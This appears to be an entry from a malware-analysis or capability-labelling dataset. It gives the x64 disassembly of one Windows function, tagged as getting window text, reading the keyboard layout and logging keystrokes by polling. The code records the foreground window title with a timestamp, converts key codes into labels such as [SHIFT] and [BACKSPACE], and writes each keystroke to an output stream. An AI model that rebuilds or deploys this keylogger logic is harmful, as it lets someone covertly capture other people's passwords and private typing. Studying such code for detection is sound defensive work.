Function at 0x1400111ae
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
jmp 0x140016d50
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x548
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xea
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x568]
mov rax, qword [0x14002c020]
xor rax, rbp
mov qword [rbp + 0x518], rax
mov byte [rbp + 0x504], 0
lea rcx, [0x1400330f3]
call fcn.140011861
cmp dword [rbp + 0x540], 1
je 0x140016db0
cmp dword [rbp + 0x540], 2
jne 0x140016db7
xor eax, eax
jmp 0x140017258
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x140016ec8
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [rbp + 0x24], eax
mov ecx, dword [rbp + 0x24]
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov byte [rbp + 0x504], 1
mov qword [rbp + 0x48], rax
mov r8d, 0x100
lea rdx, [rbp + 0x70]
mov rcx, qword [rbp + 8]
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x70]
call fcn.140011938
test eax, eax
je 0x140016ec8
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x190]
call fcn.140011933
xor ecx, ecx
call fcn.14001b280
mov qword [rbp + 0x2a8], rax
lea rcx, [rbp + 0x2a8]
call fcn.14001b0f0
mov qword [rbp + 0x2c8], rax
mov r9, qword [rbp + 0x2c8]
lea r8, [0x140026f2c]
mov edx, 0x40
lea rcx, [rbp + 0x2f0]
call qword [sym.imp.ucrtbased.dll_strftime]
lea rdx, [rbp + 0x70]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011104
lea rdx, str._n_n_n_Program:
lea rcx, [0x14002c690]
call fcn.140011104
lea rdx, [rbp + 0x70]
mov rcx, rax
call fcn.140011104
lea rdx, str._DateTime:
mov rcx, rax
call fcn.140011104
lea rdx, [rbp + 0x2f0]
mov rcx, rax
call fcn.140011104
lea rdx, [0x140026f30]
mov rcx, rax
call fcn.140011104
mov edx, dword [rbp + 0x540]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140011050]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp dword [rbp + 0x540], 8
jne 0x140016f0c
lea rdx, str._BACKSPACE_
lea rcx, [0x14002c690]
call fcn.140011104
jmp 0x140017249
cmp dword [rbp + 0x540], 0xd
jne 0x140016f2d
lea rdx, [0x140026f68]
lea rcx, [0x14002c690]
call fcn.140011104
jmp 0x140017249
cmp dword [rbp + 0x540], 0x20
jne 0x140016f4e
lea rdx, [0x140026f6c]
lea rcx, [0x14002c690]
call fcn.140011104
jmp 0x140017249
cmp dword [rbp + 0x540], 9
jne 0x140016f6f
lea rdx, str._TAB_
lea rcx, [0x14002c690]
call fcn.140011104
jmp 0x140017249
cmp dword [rbp + 0x540], 0x10
je 0x140016f90
cmp dword [rbp + 0x540], 0xa0
je 0x140016f90
cmp dword [rbp + 0x540], 0xa1
jne 0x140016fa8
lea rdx, str._SHIFT_
lea rcx, [0x14002c690]
call fcn.140011104
jmp 0x140017249
cmp dword [rbp + 0x540], 0x11
je 0x140016fc9
cmp dword [rbp + 0x540], 0xa2
je 0x140016fc9
cmp dword [rbp + 0x540], 0xa3
jne 0x140016fe1
lea rdx, str._CTRL_
lea rcx, [0x14002c690]
call fcn.140011104
jmp 0x140017249
cmp dword [rbp + 0x540], 0x1b
jne 0x140017002
lea rdx, str._ESC_
lea rcx, [0x14002c690]
call fcn.140011104
jmp 0x140017249
cmp dword [rbp + 0x540], 0x23
jne 0x140017023
lea rdx, str._END_
lea rcx, [0x14002c690]
call fcn.140011104
jmp 0x140017249
cmp dword [rbp + 0x540], 0x24
jne 0x140017044
lea rdx, str._HOME_
lea rcx, [0x14002c690]
call fcn.140011104
jmp 0x140017249
cmp dword [rbp + 0x540], 0x25
jne 0x140017065
lea rdx, str._LEFT_
lea rcx, [0x14002c690]
call fcn.140011104
jmp 0x140017249
cmp dword [rbp + 0x540], 0x27
jne 0x140017086
lea rdx, str._RIGHT_
lea rcx, [0x14002c690]
call fcn.140011104
jmp 0x140017249
cmp dword [rbp + 0x540], 0x26
jne 0x1400170a7
lea rdx, str._UP_
lea rcx, [0x14002c690]
call fcn.140011104
jmp 0x140017249
cmp dword [rbp + 0x540], 0x28
jne 0x1400170c8
lea rdx, str._DOWN_
lea rcx, [0x14002c690]
call fcn.140011104
jmp 0x140017249
cmp dword [rbp + 0x540], 0xbe
je 0x1400170dd
cmp dword [rbp + 0x540], 0x6e
jne 0x1400170f5
lea rdx, [0x140026fcc]
lea rcx, [0x14002c690]
call fcn.140011104
jmp 0x140017249
cmp dword [rbp + 0x540], 0xbd
je 0x14001710a
cmp dword [rbp + 0x540], 0x6d
jne 0x140017122
lea rdx, [0x140026fd0]
lea rcx, [0x14002c690]
call fcn.140011104
jmp 0x140017249
cmp dword [rbp + 0x540], 0x14
jne 0x140017143
lea rdx, str._CAPS_
lea rcx, [0x14002c690]
call fcn.140011104
jmp 0x140017249
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 1
test eax, eax
je 0x140017162
mov dword [rbp + 0x514], 1
jmp 0x14001716c
mov dword [rbp + 0x514], 0
movzx eax, byte [rbp + 0x514]
mov byte [rbp + 0x364], al
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x1000
test eax, eax
jne 0x1400171b8
mov ecx, 0xa0
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x1000
test eax, eax
jne 0x1400171b8
mov ecx, 0xa1
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x1000
test eax, eax
je 0x1400171e6
movzx eax, byte [rbp + 0x364]
test eax, eax
jne 0x1400171cf
mov dword [rbp + 0x514], 1
jmp 0x1400171d9
mov dword [rbp + 0x514], 0
movzx eax, byte [rbp + 0x514]
mov byte [rbp + 0x364], al
cmp byte [rbp + 0x504], 0
jne 0x1400171fb
lea rcx, str.keyboardLayout
call fcn.140011168
mov r8, qword [rbp + 0x48]
mov edx, 2
mov ecx, dword [rbp + 0x540]
call qword [sym.imp.USER32.dll_MapVirtualKeyExA]
mov byte [rbp + 0x344], al
movzx eax, byte [rbp + 0x364]
test eax, eax
jne 0x140017236
movsx eax, byte [rbp + 0x344]
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_tolower]
mov byte [rbp + 0x344], al
movzx edx, byte [rbp + 0x344]
lea rcx, [0x14002c690]
call fcn.140011677
lea rcx, [0x14002c690]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140026100]
call fcn.14001170d
mov rax, rdi
mov rcx, qword [rbp + 0x518]
xor rcx, rbp
call fcn.14001141f
lea rsp, [rbp + 0x528]
pop rdi
pop rbp
ret